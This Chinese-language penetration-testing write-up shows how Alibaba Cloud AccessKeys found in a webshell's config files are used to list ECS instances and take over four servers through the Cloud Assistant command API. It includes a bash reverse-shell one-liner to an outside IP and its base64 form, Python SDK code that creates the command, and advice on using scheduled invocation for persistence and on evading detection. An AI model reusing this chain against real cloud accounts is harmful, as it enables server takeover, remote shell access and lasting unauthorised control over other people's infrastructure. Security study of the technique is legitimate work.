阿里雲Access Token問題 - 專案收穫記錄
0x00 前言
Q:在獲得許可權較低的Webshell的情況下,如何繼續擴大收穫?
A:首先,資訊蒐集,分別包含:當前許可權,主機網路環境、系統程序、網路連線狀況、散落的憑證等,然後進行戰略分析
- 是否需要提權
- 如何將流量帶入(轉發)
- 結合蒐集的資訊轉化出其他更好的思路
很巧,我遇到了第三種情況。
Tips:內網滲透一般提權是最不可取的方案,我們只需要不斷蒐集資訊、撕開一個流量口子即可。
0x01 阿里雲物件儲存 - OSS
什麼是物件儲存?
阿里雲物件儲存服務(Object Storage Service,簡稱OSS),是阿里雲對外提供的海量、安全、低成本、高可靠的雲端儲存服務。您可以通過本文件提供的簡單的REST介面,在任何時間、任何地點、任何網際網路裝置上進行上傳和下載資料。基於OSS,您可以搭建出各種多媒體分享網站、網盤、個人和企業資料備份等基於大規模資料的服務。
通過Webshell在目標機器(Linux)的Web站點目錄下發現多個子站配置檔案config.php
,配置了同一個阿里雲的OSS地址,只是儲存空間(Bucket)不同。
通常情況下一個阿里雲oss地址的組成如下:
http(s)://[BucketName].oss-cn-[Region].aliyuncs.com
BucketName :儲存空間
Region:地域,目前有如下幾個:
例如:杭州 = cn-hangzhou
0x02 Access Token
Access Token = AccessKeyId + AccessKeySecret
OSS通過使用AccessKeyId/ AccessKeySecret對稱加密的方法來驗證某個請求的傳送者身份。
AccessKeyId用於標示使用者,AccessKeySecret是使用者用於加密簽名字串和OSS用來驗證簽名字串的金鑰,其中AccessKeySecret必須保密,只有使用者和OSS知道。AccessKey 根據所屬賬號的型別有所區分。
阿里雲賬戶AccessKey:阿里雲賬號提供的AccessKey擁有所屬資源的全部操作許可權
RAM賬戶AccessKey:RAM賬戶由阿里雲賬號授權生成,所擁有的AccessKey擁有對特定資源限定的操作許可權
STS臨時訪問憑證:由阿里雲賬號或RAM賬號生成,所擁有的AccessKey在限定時間內擁有對特定資源限定的操作許可權。過期許可權收回。
0x03 通過Access Token接管ECS
ECS:雲伺服器(Elastic Compute Service,簡稱 ECS)是一種簡單高效、處理能力可彈性伸縮的計算服務,幫助您快速構建更穩定、安全的應用,提升運維效率,降低 IT 成本,使您更專注於核心業務創新。
前面介紹到,預設情況下,阿里雲使用者獲得的Access Token是對當前使用者所有服務通用的令牌,在沒有使用RAM賬戶的情況下,就可以使用SDK去操作阿里雲所有產品。
在此次專案裡,我接管了四臺ECS,執行任意命令,獲得最大許可權。
首先,通過讀取配置檔案,獲得了同於上傳圖片所需要認證的Access Token,如何檢驗是否可用的呢?
Access Key Id : ********* Access Secret : *************************** Region : cn-*****
下面直接呼叫獲取ECS例項的API即可,以往情況下,我會使用Python,安裝阿里雲的sdk-core庫,但是現在能線上除錯,大大的節省了本地除錯的成本:
DescribeInstances - 獲得例項資訊
只有第一個RegionId
是必填項,點選API Explorer
,可以直接進入除錯環境:
伺服器上的oss配置中剛好有RegionId,我就直接選擇了,然後填入Access Token資訊,就可以獲得資料。
我是直接在Alicloud Shell
裡複製了一份執行的:
輸出結果如下:
使用json.cn
格式化一下:
共四臺伺服器,那麼如何執行命令呢?
首先要建立一條命令,然後指定例項來呼叫命令,手冊地址:
https://help.aliyun.com/document_detail/64844.html
命令的型別取值範圍:
- RunBatScript:建立一個在 Windows 例項中執行的 Bat 指令碼
- RunPowerShellScript:建立一個在 Windows 例項中執行的 PowerShell 指令碼
- RunShellScript:建立一個在 Linux 例項中執行的 Shell 指令碼
由於都是Linux,我就選擇RunShellScript,注意:命令必須是base64encode
rvn0xsy@Rvn0xsy ~> echo "bash -i >& /dev/tcp/1.1.1.1/2333 0>&1" | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzIzMzMgMD4mMQo=
#!/usr/bin/env python #coding=utf-8 from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-shanghai') request = CreateCommandRequest() request.set_accept_format('json') request.set_Type("RunShellScript") request.set_CommandContent("YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzIzMzMgMD4mMQo=") request.set_Name("test") response = client.do_action_with_exception(request) # python2:print(response) print(str(response, encoding='utf-8'))
執行成功後,會返回如下資訊:
{ "RequestId": "********-****-****-****-********", "CommandId": "c-0************" }
CommandId最好記下來,不然還要呼叫DescribeCommands
{ "PageNumber": 1, "TotalCount": 1, "PageSize": 10, "RequestId": "********-****-****-****-********", "Commands": { "Command": [ { "Name": "test", "Timeout": 3600, "CommandContent": "YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzIzMzMgMD4mMQo=", "Description": "", "Type": "RunShellScript", "CommandId": "c-0************", "WorkingDir": "" } ] } }
緊接著就是InvokeCommand
:
- RegionId:區域ID,例如:cn-shanghai
- CommandId:命令ID
- InstanceId:例項ID
- Timed:命令是否為週期執行。 預設值:False
- Frequency:週期任務的執行週期,兩次週期任務的時間間隔不能低於10秒。當引數 Timed 的值為 True 時,引數 Frequency 為必需引數。 該引數取值遵循Cron表示式,參閱Cron表示式 。
預設情況下,我們不需要管後面的引數,如果你想許可權維持的話,可以設定Timed為False,並且設定Frequency為定時任務計劃表示式,執行的過程中,基本上不會攔截,因為Access Token的呼叫,一切都是白名單的。